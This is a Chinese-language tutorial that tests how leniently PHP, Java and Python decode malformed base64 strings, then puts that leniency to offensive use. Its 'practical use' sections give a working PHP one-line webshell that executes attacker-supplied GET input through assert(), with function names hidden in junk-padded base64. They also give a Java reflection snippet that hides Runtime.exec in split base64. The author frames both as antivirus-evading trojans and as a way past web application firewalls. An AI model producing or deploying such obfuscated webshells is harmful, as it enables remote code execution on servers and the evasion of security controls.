0x01 前言
在我们使用base64的时候,常常会按照标准格式输入
例如规则:大小写英文, 数字, +, =, / 组成一个base64例子一:字符串: aaa!~~!aa123gbase64: YWFhIX5+IWFhMTIzZw==例子二:字符串: aaa!~~!aa123gfG{}:">?dddffbase64: YWFhIX5+IWFhMTIzZ2ZHe306Ij4/ZGRkZmY=
可以看得到这很标准,那么有没有想过如果我们在这个标准的base64里面乱加内容会怎么样呢?
例如说:我添加特殊字符进去字符串: abcdbase64: YWJjZA==我把这个base64改成: <>--------|||Y___W---J!@#$%^&*()_jZA----==那么这些语言还能在解码回: abcd 么?这个问题值得探讨实验实验
0x02 php
0x02.1 测试环境
系统: Windows 8php版本: php5.6.27服务器: Apache
0x02.2 测试例子
# 在php中base64解码函数是很强的,基本上咋写都可以解析# 除了个别规则以外例如:字符串: abase64: YQ==php_1:base64: ----Y|Q==解码为: a解码情况: 成功php_2:base64: ^Y-|]--[Q-=)=解码为: a解码情况: 成功php_3:base64: 来Y测Q=试=啊解码为: a解码情况: 成功php_4:base64: YQ==Yg==解码为: 第一个YQ==成功解码,第二个YQ==会解析成乱码解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后面的base64都会乱码
基础编码:字符串: aaa!~~!aa123gbase64: YWFhIX5+IWFhMTIzZw==下面我会给出一下符合php的base64解码的例子
# 例子1-添加“减号”进行干扰特殊符号: -组合为: --------YWFhIX5+IWFhMTIzZw==<?php$b64_str = "--------YWFhIX5+IWFhMTIzZw==";var_dump(base64_decode($b64_str));?>那么能成功解密么?答案是可以的这里可以看得到php的包容性特别强# 运行结果:string(13) "aaa!~~!aa123g"
# 例子2-添加部分特殊符号进行干扰特殊符号: - < | > _组合为: <--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____<?php$b64_str = "<--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____";var_dump(base64_decode($b64_str));?># 运行结果:string(13) "aaa!~~!aa123g"
# 例子3-添加各种特殊符号进行干扰特殊符号: ! @ # $ % ^ & * ( ) _ - { \[ ] ? . , 》《 }组合为: Y!WF@hI#X$5+%IW^F&h*M(T)I_z-Z{w\[]?.,==》《}<?php$b64_str = "Y!WF@hI#X$5+%IW^F&h*M(T)I_z-Z{w[\]?.,=》=《";var_dump(base64_decode($b64_str));?># 运行结果:string(13) "aaa!~~!aa123g"
# 例子4-添加各种中文进行干扰组合为: YWF中hIX5+I文WFhMTIzZw==<?php$b64_str = "YWF中hIX5+I文WFhMTIzZw==";var_dump(base64_decode($b64_str));?># 运行结果:string(13) "aaa!~~!aa123g"
0x03.2 实际用途例子
那么这个姿势在进行编写免杀马子的时候就特别适合了因为这几个特性是php独有的,其他语言解码会乱码例如写一个基础的一句话木马然后混淆文件名: test.php<?phpassert(get_defined_vars()['_GET'][1]);?>混淆<?php$base64_decode_str = 'edoced_46esab';$base64_decode = strrev($base64_decode_str);// get_defined_vars 的 base64$parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';$parameter = $base64_decode($parameter_base64);// assert 的 base64$assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::';$asser = $base64_decode($assert_base64);// 利用$asser($parameter()['_GET'][1]);?>利用方法: http://127.0.0.1/test.php?1=phpinfo();
0x03 java
0x03.1 测试环境
系统: macjava版本: 1.8测试模块: sun.misc.BASE64Decoder
0x03.2 测试例子
# 在java中就没有办法像php那么强随便怎么加都可以正常解析了# 但是在java中,也是有骚操作的.# 因为java中可以多个base64写成一个,按=号分割例如:字符串: abase64: YQ==java:base64: YQ==Yg==解码为: abphp:base64: YQ==Yg==解码为: YQ==会解析为a, Yg==会解析为乱码
下面我会给出一下符合java的base64解码的例子
# 例子1-添加多个base64进行解码# 字符串_1: aaa!~~!aa123g# base64_1: YWFhIX5+IWFhMTIzZw==# 字符串_2: -------# base64_2: LS0tLS0tLQ==# 字符串_3: testbase64# base64_3: dGVzdGJhc2U2NA==import sun.misc.BASE64Decoder;import java.io.IOException;public class BASE64DecoderTest {public static void main(String[] args) {BASE64Decoder decoder = new BASE64Decoder();try {String base64Str = "YWFhIX5+IWFhMTIzZw==LS0tLS0tLQ==dGVzdGJhc2U2NA==";String str = new String(decoder.decodeBuffer(base64Str), "utf-8");System.out.println(str);} catch (IOException e) {e.printStackTrace();}}}# 运行结果aaa!~~!aa123g-------testbase64
0x03.2 实际用途例子
# 最大的用途就是混淆关键字,写免杀木马# 自己发挥想象吧import org.apache.commons.io.IOUtils;import sun.misc.BASE64Decoder;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Method;public class ExecCmdTest {public static void main(String[] args) {try {String cmd = "whoami";BASE64Decoder decoder = new BASE64Decoder();// java.lang.Runtime 的 base64String RuntimeBase64Str = "ag==YQ==dg==YQ==Lg==bGE=bmcuUnVudA==aW1l";byte[] RuntimeByte = decoder.decodeBuffer(RuntimeBase64Str);String runtimePath = new String(RuntimeByte, "utf-8");// 获取Runtime类对象Class runtimeClass = Class.forName(runtimePath);// 获取构造方法Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();runtimeConstructor.setAccessible(true);// 创建Runtime类实例 相当于 Runtime r = new Runtime();Object runtimeInstance = runtimeConstructor.newInstance();// 获取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass.getMethod("exec", String.class);// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令Process p = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 获取命令执行结果InputStream results = p.getInputStream();// 输出命令执行结果System.out.println(IOUtils.toString(results, "UTF-8"));} catch (Exception e) {e.printStackTrace();}}}
0x04 python
0x04.1 测试环境
系统: macpython版本: Python 3.8.2 64-bit测试模块: base64
0x04.2 测试例子
# 在python中base64解码函数是最强的,基本上咋写都可以解析例如:字符串: abase64: YQ==python_1:base64: ----Y|Q==解码为: a解码情况: 成功python_2:base64: ^Y-|]--[Q-=)=解码为: a解码情况: 成功python_3:base64: 来Y测Q=试=啊解码为: 无法解解码情况: 失败,遇到中文会直接爆ValueError: string argument should contain only ASCII characters 错误python_4:base64: YQ==Yg==解码为: 第一个YQ==成功解码,第二个YQ==直接过滤解码情况: YQ==会解析为a, python遇到了=号以后就等于结束了,=号后面的内容全部会自动过滤掉不解析
基础编码:字符串: aaa!~~!aa123gbase64: YWFhIX5+IWFhMTIzZw==下面我会给出一下符合python的base64解码的例子
# 例子1-添加“减号”进行干扰特殊符号: -组合为: --------YWFhIX5+IWFhMTIzZw==#!/usr/bin/python3# -*- coding: UTF-8 -*-import base64res = base64.b64decode("--------YWFhIX5+IWFhMTIzZw==")print(res.decode())# 运行结果:aaa!~~!aa123g
# 例子2-添加部分特殊符号进行干扰特殊符号: - < | > _组合为: <--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____#!/usr/bin/python3# -*- coding: UTF-8 -*-import base64res = base64.b64decode("<--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____")print(res.decode())# 运行结果:aaa!~~!aa123g
# 例子3-添加各种特殊符号进行干扰特殊符号: ! @ # $ % ^ & * ( ) _ - { } [ \ ] ? . ,组合为: Y!WF@hI#X$5+IW^F&h*M(T)I_z-Z{w[\]?.,==#!/usr/bin/python3# -*- coding: UTF-8 -*-import base64res = base64.b64decode("Y!WF@hI#X$5%+IW^F&h*M(T)I_z-Z{w}[\]?.,==")print(res.decode())# 运行结果:aaa!~~!aa123g
0x04.2 实际用途例子
python我一般是拿来写exp的,所以自己发挥一下想象力吧
0x05 总结
可以看的出,每一门语言对于base64解码的极限都是不同的,那么这种不同就给了我们可以拿来绕waf的可能性
因为语言的不同
假如waf使用的是c写的,他解码失败了,但是php语言他解成功了
那么不就绕过了么
